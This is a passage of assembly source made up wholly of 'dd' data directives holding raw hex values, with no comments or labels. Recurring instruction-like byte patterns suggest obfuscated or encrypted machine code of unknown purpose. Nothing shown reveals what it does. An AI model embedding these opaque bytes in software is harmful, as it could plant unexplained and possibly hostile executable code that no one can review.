		dd 672EC352h, 4FC60B68h, 81F8F6AAh, 26F7BBE6h, 9085C711h
		dd 61914h, 60000000h, 11F9B589h, 0F530615h, 88h, 8D615A00h
		dd 1511699Dh, 9919BF06h, 23813590h, 0FFFFFEFFh,	619D3160h
		dd 0E8061500h, 0Ch, 9E56DFFAh, 2F527473h, 926EA2B2h, 61585FB5h
		dd 6ADB8C66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E9F9C355h, 0Dh, 7C3DD53Bh, 143A2881h
		dd 83A89E7Dh, 4C3F6C0h,	5A840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BAD48C3h
		dd 151799B5h, 1C860F06h, 0E8000000h, 14h, 0EA82423Bh, 2E1EE9C2h
		dd 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h, 0FF5F5F56h, 1518A195h
		dd 61D8BE06h, 8B9075B6h, 5E5050F9h, 0FA8B6690h,	42DE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 359F5E63h, 0CE8166ABh, 8B66318Bh, 6A00B0FEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0B893C352h, 0A1F0C024h, 0B8EE8166h, 6A70E645h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 364C353h,	0BD8B71E4h, 6152D99h, 0E9D8B60Fh
		dd 0Dh,	0FF87F732h, 0DC1D4981h,	0F233235Ch, 6BA86h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 772C5AC3h, 0A6AD1300h, 0C99501BDh, 8B061506h, 0DDB589C3h
		dd 0C106152Ah, 6A04E8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 4FA99CC3h, 0F53C6D7h, 683h, 319D2900h
		dd 6606150Dh, 0BD8BE2F7h, 6150D81h, 6AD82Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 79589BC3h
		dd 48B0Fh, 60560000h, 66505F61h, 895641BEh, 6A241Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 6E1DD3C3h, 0C4D450BBh, 0B5FF1862h, 61508ADh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6FC35747h, 2195FF2Eh
		dd 6A06152Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 8A55C350h, 27445970h, 0C7CC2C89h
		dd 0FE9h, 0E62CBB00h, 0D23B0F65h, 417A36Ah, 0EFF3B9B2h
		dd 0BF0F00B0h, 170E6F9h, 15219185h, 6A71E406h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 9D11C352h, 500FF465h, 0BE9h,	15B93C00h, 2A986529h, 0B4FD50DAh
		dd 830F613Ch, 232h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 7EC35545h, 0F6BE39CEh, 310AB1ABh, 1517358Dh
		dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	57C35545h, 81669AEDh, 0BA2550DEh, 6, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F2C35040h, 6AC38B3Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 24F3C352h, 6185019Dh, 0C1061505h,	0BF0F04E8h
		dd 91B58BF2h, 66061525h, 8D89E2F7h, 6150AA9h, 2175B58Bh
		dd 0D82B0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0ADC35242h, 7C4F48F7h, 6A58C93Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1DCDC355h
		dd 0A1BD8BB8h, 2B06150Ah, 2F880FD8h, 66000001h,	0B9EE03BEh
		dd 7, 0DF5B531h, 0C1830615h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E4B04E04h
		dd 0F28B2C82h, 860FD93Bh, 0F2h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 5FC35747h, 2286CCDDh, 3D95892Bh
		dd 66061521h, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 4B2D08C3h, 0B58B1832h, 6152469h
		dd 0F04C1F6h, 9184h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0FFA527F0h, 1518A195h
		dd 5BD8906h, 5B061525h,	0E880Fh, 89600000h, 1510F5B5h
		dd 6D8D8B06h, 61061521h, 343DC32Bh, 0F000008h, 4586h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 93CA09CFh, 179DB58Bh, 81660615h, 0E9873FEFh,	1Eh, 11E9h
		dd 0BA8B0D00h, 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0C08B0B67h
		dd 2D21BD8Bh, 0C38B0615h, 8166D88Bh, 0C7B8D1E6h, 15107985h
		dd 427B1506h, 0FC67BE5Bh, 0C08B5561h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 57C35646h, 219A183h, 0B58BCD41h
		dd 6150BC9h, 8ADBD81h, 7D00615h, 850F0000h, 5Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C9C35545h, 353A2B10h
		dd 83B08358h, 6830F88h,	81000000h, 882DC1CFh, 0AD85FF38h
		dd 6A061508h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 3087C357h, 0BB57BFF5h,	0B5FF41ACh
		dd 61508ADh, 54BEBF66h,	2E2195FFh, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BE2A94C3h
		dd 75848EABh, 958950EBh, 615054Dh, 0BF66905Eh, 6AE335h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 526818C3h, 8D89523Bh, 6152795h, 13E95Eh, 0B9A40000h
		dd 985A8B6Dh, 41560839h, 0CF4535D9h, 71E796E1h,	57006A8Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 3F743E4Ah, 5DBF662Eh, 57006AC9h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0D3DB537Fh
		dd 0FF2EE04h, 218Dh, 28C0F00h, 60000000h, 14E961h, 756E0000h
		dd 7426501Dh, 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 840FC61Bh
		dd 7, 8E0Fh, 6AF90000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 2E82C352h, 357E459Ah
		dd 71858944h, 66061533h, 0AD04C781h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 24C35545h, 5E9F8h, 2CE90000h
		dd 0E92E012Ch, 0FFFFF7CAh, 6AC18Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 676AFEC3h
		dd 0B50980A4h, 9E8h, 0BC386D00h, 0BBA835Ah, 0BD335EE8h
		dd 6151511h, 0FE95Eh, 1E440000h, 1E4DDE83h, 7938202Ah
		dd 5B4EF101h, 4EBDFh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0DEE3C357h,	53BC512Dh
		dd 2F2DB58Bh, 235F0615h, 150699BDh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0D0A4F7A9h
		dd 1880FB6h, 0F5000000h, 279D858Dh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 1E571C3h
		dd 6657C9A5h, 1102CE81h, 5660505Eh, 0CE8h, 448DD400h, 0F274D38Bh
		dd 41A19B51h, 525E5EF2h, 310F5250h, 615A585Ah, 29240489h
		dd 15098195h, 859D8906h, 6A06150Ah, 59858900h, 89061524h
		dd 15215DB5h, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0E532C357h,	0C2858D84h
		dd 0BF061920h, 4475E8EEh, 6A05C083h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 4C9BC357h
		dd 0FF48877Ah, 5050FC98h, 0F5E5752h, 66525031h,	0F4A4FBEh
		dd 5A585A31h, 24048958h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0BFC35242h, 0B665E7FAh, 66538EBFh, 815EFA8Bh
		dd 6330AAD6h, 1006A2Ah,	1510C985h, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 9A37C357h, 46642E44h, 0FFF7BF0Fh, 15267995h,	0DEE8106h
		dd 37B7CC3h, 1510FDBDh,	159D8D06h, 0F06189Ch, 0B83h, 6E900h
		dd 0E1BA0000h, 69F9119Bh, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 59B9F8C3h, 0A42D8383h
		dd 895A0556h, 150C51B5h, 3585FF06h, 0F061515h, 83h, 7FCE900h
		dd 0E80000h, 5D000000h,	20CCED81h, 6A0619h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 16E434C3h
		dd 0BD092ADEh, 6151D71h, 8ADBD81h, 7D00615h, 860F0000h
		dd 147h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 18h,	67C35747h, 23E7A812h, 29F98B66h, 15161D95h, 0E59D8B06h
		dd 2B061515h, 152FB9BDh, 0E38106h, 81000001h, 11F1FBD6h
		dd 0FDB0B48h, 7485h, 0F9BF0F00h, 1EDCBD83h, 0F000619h
		dd 2D84h, 0FB8B6600h, 88E9h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0EBA7DF11h
		dd 5A59D89h, 85C70615h,	6191EDCh, 1, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 34C35545h, 9FF57904h, 32E99702h
		dd 8B000000h, 152A85BDh, 0DC85C706h, 6191Eh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 185C351h,	54ED345h, 0E59D8D02h, 6A061515h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0B84EC351h, 0AEE5BC59h, 0FF23816Ah, 6AFFFFFEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0EDECC353h, 0DDDB0591h, 0FC44E90h, 688h
		dd 0A9BD8B00h, 66061501h, 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0C3F621C3h, 2C840F04h
		dd 66000000h, 88C2DF81h, 0A195FFF8h, 8B061518h,	1522F5B5h
		dd 0F38B9006h, 0AE950h,	21D00000h, 86A0161Eh, 0CB54EFBEh
		dd 0E9858990h, 0E9061533h, 409h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Ch, 79C35040h, 9965E033h, 684AFAB8h
		dd 0FE8h, 72F6E900h, 82C654BCh,	51EFE146h, 29AD1C0Eh, 10E9h
		dd 0E2CD4300h, 0A2640AD6h, 0A6A2FAE0h, 7B07D1A4h, 0B05EB2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0C5C35040h
		dd 59A77D5Fh, 6DBD8B71h, 0E6061516h, 56006A70h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 19C8F836h
		dd 71E4568Bh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	0CC35242h, 0FFA8BC3h, 0C8Bh, 6830F00h, 0F000000h
		dd 89h,	0D8B60F00h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 2CC35141h, 6BA144Dh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0EDBCC356h, 6AC38Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 459CCDC3h, 43A03940h, 30C6DA0h
		dd 152959B5h, 4E8C106h,	23358589h, 0F7660615h, 50006AE2h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0D1CA97D2h, 0FCECE0Dh, 0D82BFFB7h, 5E8h, 9ADE8600h
		dd 95895D95h, 6150E39h,	3A63BE5Eh, 52930108h, 6D3EBE66h
		dd 860F505Eh, 16h, 11E9h, 5893C700h, 263EEC81h,	11191E1Ah
		dd 6F3041EFh, 6A93FE79h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0E9DDC350h,	0ADB5FFA7h
		dd 0F061508h, 95FFF6BFh, 6152E21h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0AC35747h, 0DA45FE77h, 290D86C1h
		dd 152CB59Dh, 0BD68106h, 0B016E919h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0E6F98BC6h
		dd 6071E470h, 11219D89h, 0C8800615h, 613C61ACh,	1CB830Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0CD72A1C3h, 0B509C9BBh, 6150989h,	921BD8Bh
		dd 0B60F0615h, 0BA5F56D8h, 6, 88A0Fh, 33530000h, 151945B5h
		dd 0C38B5E06h, 0F1BD8B56h, 5E061509h, 6A04E8C1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0FCAAC357h, 0B589EB37h, 61510C9h, 2BE2F766h,	53006AD8h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0CD304FACh, 67D6A0BFh, 0C681584Eh, 61F35229h, 880FD82Bh
		dd 11Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0E1C35343h, 7559F343h, 0BEF08B60h, 319359C2h, 7B961h
		dd 0BE660000h, 0C183F87Bh, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 836471F9h
		dd 0F781185Ch, 42F30AC6h, 0A6504DBEh, 0FD93B0Ah, 0B486h
		dd 0FEB70F00h, 0FD98C66h, 0D83h, 8D8B6000h, 61518D1h, 0AF968DB9h
		dd 85896140h, 6152CB5h,	0F04C1F6h, 6B84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0EF32E06Ah, 3BB3CCD8h, 0FADF0ABEh, 0A195FF54h, 33061518h
		dd 151165B5h, 0C32B5B06h, 0D710E681h, 343D7A49h, 0F000008h
		dd 2386h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E9EF3B6Ah, 21h, 6AC08Bh,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BCEA9C3h, 8BC38BF2h, 0BE8D8h, 0ED4B0000h, 2EFC7306h
		dd 36129DECh, 5FF08B7Fh, 116985C7h, 0CD950615h,	6A1D25h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 909B1AC3h, 89E741DCh, 1503618Dh, 6AC08B06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 6660C357h, 0BD81F38Bh, 61508ADh, 7D0h, 35850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0C7B338C3h, 60A8B530h, 8D31B6B1h, 615040Dh, 8AD85FFh
		dd 81660615h, 0FF90E0DEh, 1508ADB5h, 11E806h, 177A0000h
		dd 0FCFD4895h, 0D4F35030h, 26690C39h, 5FDC6683h, 8E8h
		dd 0BB154300h, 0D2E9FB1h, 0B4CE81D5h, 5F46DDB1h, 2E2195FFh
		dd 0B5890615h, 6152725h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 6DE0AB88h, 7BAEE44Ch
		dd 1721B58Bh, 0C7810615h, 45C7BABh, 0F28BF98Bh,	2D09BD03h
		dd 0B58B0615h, 6151341h, 8D016060h, 6152CF5h, 66DEE281h
		dd 0BA6612A5h, 0E96183C9h, 9, 1DD8D600h, 0E2309E55h, 6A619Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0D38AF6C3h, 0F9B0FC5h, 1289h, 68B0F00h, 89000000h, 1520B18Dh
		dd 0DDBD8B06h, 0F061525h, 1F83h, 31B58B00h, 0E906152Bh
		dd 14h,	0DA938924h, 2B9A2CCFh, 88B99944h, 46BB64E9h, 286687C8h
		dd 8166F38Bh, 9B7AECFh,	152959B5h, 75BD8B06h, 0E9061516h
		dd 11h,	0E8813C2Eh, 6A2A8864h, 0B13023EBh, 2ECB2266h, 5211BE81h
		dd 0B5895C32h, 6153095h, 301DBD8Bh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 38A100C3h
		dd 0E945F240h, 0FFFFF80Ah, 1D0DBD0Bh, 0C18B0615h, 2B01B58Bh
		dd 4EB0615h, 0
		dd 18DBD31h, 8B660615h,	9D858DFAh, 0F061527h, 88h, 8B665000h
		dd 240489F8h, 0DC9B533h, 6A0615h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 97C35242h, 4870F0Bh, 66000000h
		dd 6A7B05BFh, 0D8B0F00h, 50000000h, 6E9h, 128A7F00h, 5F7B110Dh
		dd 2A42858Dh, 6A0619h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 92A7B0C3h, 0F0633D7h, 83h, 5C08300h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C2C35141h
		dd 489505Eh, 3FBE6624h,	6A006A58h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0DA88C357h
		dd 1C5D46B6h, 8B0FA8CAh, 152DE9B5h, 6A006A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0D707C357h, 0E781214Eh, 349FFBF6h, 0D1B52951h, 5F061518h
		dd 267995FFh, 81660615h, 8DE2F7C6h, 189C159Dh, 3D952906h
		dd 0FF061528h, 53006AD3h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 4A0BEC1Ch, 0DE9h, 0FDDE7300h
		dd 0A7A57FA2h, 4492E231h, 57609F66h, 6DBB866h, 49BF665Eh
		dd 85FF6199h, 6151535h,	54409CBFh, 842E912h, 0E80000h
		dd 5D000000h, 2A4CED81h, 0BD810619h, 61508ADh, 7D0h, 185860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 91F17AC3h, 0BE88D21h, 65000000h, 557E651Fh
		dd 0F1518871h, 0BD8BD13Eh, 61502E5h, 9D9D8B5Fh,	6A061507h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0D64DC350h, 855A5683h, 33A4DD87h,	1508C1BDh
		dd 0E38106h, 0F000001h,	786h, 81665600h, 5F41C1DFh, 850FDB0Bh
		dd 0A2h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	5EC35646h, 8F830589h, 0BB720FA6h, 0D5BD8B44h, 83061502h
		dd 1928CDBDh, 840F0006h, 1Ah, 15EDB58Bh, 8DE90615h, 0E8000000h
		dd 7, 0D7E63EACh, 8BD1A227h, 85C75EF7h,	61928CDh, 1, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D3C35141h, 41F79C57h
		dd 4DE924E8h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 80C7C357h, 85C7FB12h
		dd 61928CDh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0DEC35242h
		dd 661C9FAFh, 0DBED681h, 79D9D8Dh, 0BF660615h, 23816AE2h
		dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	5DC35747h, 0A25769CFh, 6630E161h, 8B66DB8Ch, 4C3F6FBh
		dd 49840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 8AC75DC3h, 1649984Ah, 66075869h
		dd 0FF0991BFh, 1518A195h, 0C9852906h, 50061506h, 48C0Fh
		dd 0BF660000h, 489F369h, 0F1BD8924h, 0E9061509h, 445h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3BC35343h
		dd 66986EE8h, 0B05045BEh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 7FF73ADDh
		dd 111FF1E0h, 2B158501h, 70E60615h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 46C35646h, 45EB740Ah, 459529E5h
		dd 8906150Dh, 1511E5BDh, 0F871E406h, 2BD8B60Fh,	1528D1BDh
		dd 6BA06h, 0A2BF0000h, 8B00A76Eh, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 91851442h
		dd 0F08BE4EDh, 8B04E8C1h, 150C11BDh, 0E2F76606h, 6AD82Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0F9B079C3h, 575793FAh, 5F5EF18Bh, 0BF525050h, 1C40D6FCh
		dd 5250310Fh, 8E8h, 9C759700h, 0B17EA9ADh, 310F5E44h, 0FE9h
		dd 54424D00h, 0A4EFCE7Ch, 0C210EA88h, 0F93DC087h, 585A585Ah
		dd 51006A93h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 698E36A3h, 0A38CC120h, 2E59BD01h, 0B70F0615h
		dd 0ADB5FFFFh, 6A061508h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FC4C351h, 10E8F8BFh
		dd 0E5000000h, 3B0884C3h, 835E7F35h, 6ADED69Eh,	66D89347h
		dd 779BD681h, 2195FF5Fh, 0F06152Eh, 0B0F3B7h, 6A70E6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 840AF6C3h, 66AD2131h, 0E919BBBFh, 9,	38527F19h, 5A81FE9Bh
		dd 6A71E4D6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 56BAC350h, 0BAEF8143h,	3C2EAA34h
		dd 4A830F61h, 8B000002h, 151D75BDh, 0D8B60F06h,	8F0Fh
		dd 6BA0000h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 5F02C350h, 84BD3BD0h
		dd 8859D89h, 0C38B0615h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0AAC35646h, 8D4A41C9h, 5597A3EAh, 61E0B060h
		dd 1185B58Bh, 0E8C10615h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0EDA3087Ch
		dd 9501518Eh, 6151DB5h,	0E2F7665Eh, 6880Fh, 8D890000h
		dd 6150AE9h, 0F681D82Bh, 46C1F665h, 17ADBD8Bh, 6A580615h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 7534C353h, 0B64C171Bh, 0DCCE8166h, 11E86Bh
		dd 654C0000h, 574AB34Dh, 61E3B58Dh, 2514A290h, 5E6FA97Ch
		dd 880FD82Bh, 151h, 7B9F28Bh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9881C355h
		dd 0C183C6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	4DC35141h, 0D93BF563h, 103860Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 83A079C3h, 0B5D14238h, 8C66F51Fh, 53006AD9h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 2DD9C992h
		dd 2A818529h, 0BE660615h, 0C1F6B398h, 0A2840F04h, 60000000h
		dd 179D8589h, 0BF0F0615h, 95FF61DFh, 61518A1h, 1541BD31h
		dd 8B5B0615h, 1506F5B5h, 13E906h, 0EC480000h, 7CE7DB37h
		dd 6A85BF93h, 66DB989Ch, 7CC6A624h, 6AC32BC0h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 9C4DC356h, 61C232C5h, 68B0F81h, 89000000h, 1504498Dh
		dd 59D8906h, 3D061517h,	834h, 2B860Fh, 0BF0F0000h, 2BE9F0h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8B1C60C3h, 1510A5B5h, 89C08B06h, 1533E995h
		dd 8BC38B06h, 0E585C7D8h, 11061515h, 81186B65h,	8E43D7D6h
		dd 0E8C08B16h, 9, 6166BE3Fh, 53F022BDh,	21B5293Ah, 5F061508h
		dd 8ADBD81h, 7D00615h, 850F0000h, 2Eh, 9A19D09h, 85FF0615h
		dd 61508ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0B7C35646h, 0BE666BE4h,	0B5FFAAC7h, 61508ADh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 69C35242h, 618DCB97h
		dd 0F5DCE9Ah, 8Eh, 0E98D0900h, 0FF061517h, 152E2195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 7EECC100h, 8B90D51Eh, 153035BDh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0EECEEDE3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 89C35343h
		dd 6A3C29BAh, 56B53E6Dh, 0CDBD8B74h, 29061524h,	1510D585h
		dd 12E95706h, 0A9000000h, 62259A8Eh, 3DDE33AFh,	99770B77h
		dd 7DF31FAh, 5EFE8BE9h,	1DADB58Bh, 8E90615h, 4B000000h
		dd 0A7D64958h, 6ACAD028h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E964C350h,	5, 18F744Eh
		dd 6AFA8B2Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 870CC357h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0C7C35747h,	7F0F6997h, 10850Fh
		dd 0BE90000h, 0FC000000h, 9D773F93h, 5763F9BBh,	0BD8BB4ECh
		dd 61502CDh, 0FFF7EDE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0C60CC030h, 2595018Ah
		dd 8106151Eh, 0ABCA0EDFh, 0FE8B6624h, 3A88BF60h, 0FEB925D3h
		dd 6AFFFFFFh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 2C1CC356h, 81674D51h, 888DD0E1h
		dd 13E9h, 21AC0B00h, 0A9AC5362h, 0E25C0D3Fh, 0ADF7E0Fh
		dd 0FCADC123h, 0AE9h, 47320800h, 0A7DCCEEBh, 21DD1C1Eh
		dd 1504E18Dh, 2820F06h,	0B7000000h, 8D8D21C8h, 0F061510h
		dd 148Dh, 0FE900h, 5CA60000h, 3C0F106Dh, 51D5F790h, 157C1134h
		dd 519D291Eh, 8B06152Ch, 1504E18Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 858B754Eh
		dd 6151911h, 0F01E183h,	685h, 0E59D8B00h, 8B061518h, 15108D8Dh
		dd 0BD8D8906h, 83061517h, 850F01E1h, 6,	3198D281h, 60617829h
		dd 1769BD8Bh, 0FEB90615h, 89FFFFFFh, 1510C98Dh,	158D2106h
		dd 6A061527h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0D413C351h, 0E0BD3F19h, 0D9318C0Fh
		dd 136DBD33h, 8D210615h, 6151079h, 80C68B66h, 8D8B23F7h
		dd 6152715h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	31C35545h, 0C739F192h, 89FADEE6h, 152F5595h, 98BF6606h
		dd 11E856h, 1B610000h, 3309D6A3h, 8E637AF0h, 4685336Ch
		dd 893821E2h, 152E5DBDh, 0E1835806h, 24850F01h,	6A000000h
